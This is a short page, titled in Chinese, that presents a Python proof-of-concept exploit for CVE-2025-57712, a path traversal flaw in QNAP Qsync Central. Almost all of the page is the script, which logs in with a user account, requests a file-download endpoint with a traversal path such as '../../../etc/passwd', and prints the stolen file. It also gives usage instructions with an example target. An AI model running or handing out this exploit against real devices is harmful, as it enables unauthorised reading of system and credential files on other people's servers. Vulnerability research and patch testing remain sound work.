CVE-2025-57712 QNAP Qsync Central路径遍历漏洞

import requests import sys # CVE-2025-57712 Path Traversal PoC for QNAP Qsync Central # Target: QNAP Qsync Central < 5.0.0.3 # Author: Security Researcher # Reference: https://www.qnap.com/en/security-advisory/qsa-25-41 def exploit_path_traversal(target_url, username, password, target_file): """ Exploit path traversal vulnerability in Qsync Central Args: target_url: Base URL of Qsync Central username: Valid user account password: User password target_file: File to read (e.g., ../../../etc/passwd) """ session = requests.Session() # Step 1: Login to get authenticated session login_url = f"{target_url}/api/auth/login" login_data = { "username": username, "password": password } try: login_response = session.post(login_url, json=login_data, timeout=10) if login_response.status_code != 200: print(f"[-] Login failed with status code: {login_response.status_code}") return None print("[+] Login successful") # Step 2: Exploit path traversal to read sensitive file # Common targets: /etc/passwd, config files, user data file_url = f"{target_url}/api/file/download?path={target_file}" exploit_response = session.get(file_url, timeout=10) if exploit_response.status_code == 200: print(f"[+] File read successful: {target_file}") print(f"[+] Content length: {len(exploit_response.content)} bytes") return exploit_response.content else: print(f"[-] Exploit failed with status code: {exploit_response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {str(e)}") return None def main(): if len(sys.argv) < 5: print("Usage: python cve_2025_57712_poc.py <target_url> <username> <password> <target_file>") print("Example: python cve_2025_57712_poc.py http://192.168.1.100:8080 admin password ../../../etc/passwd") sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] target_file = sys.argv[4] print(f"[*] Targeting: {target_url}") print(f"[*] Attempting to read: {target_file}") result = exploit_path_traversal(target_url, username, password, target_file) if result: print("\n[+] Exploit successful! File content:") print(result.decode('utf-8', errors='ignore')) if __name__ == "__main__": main()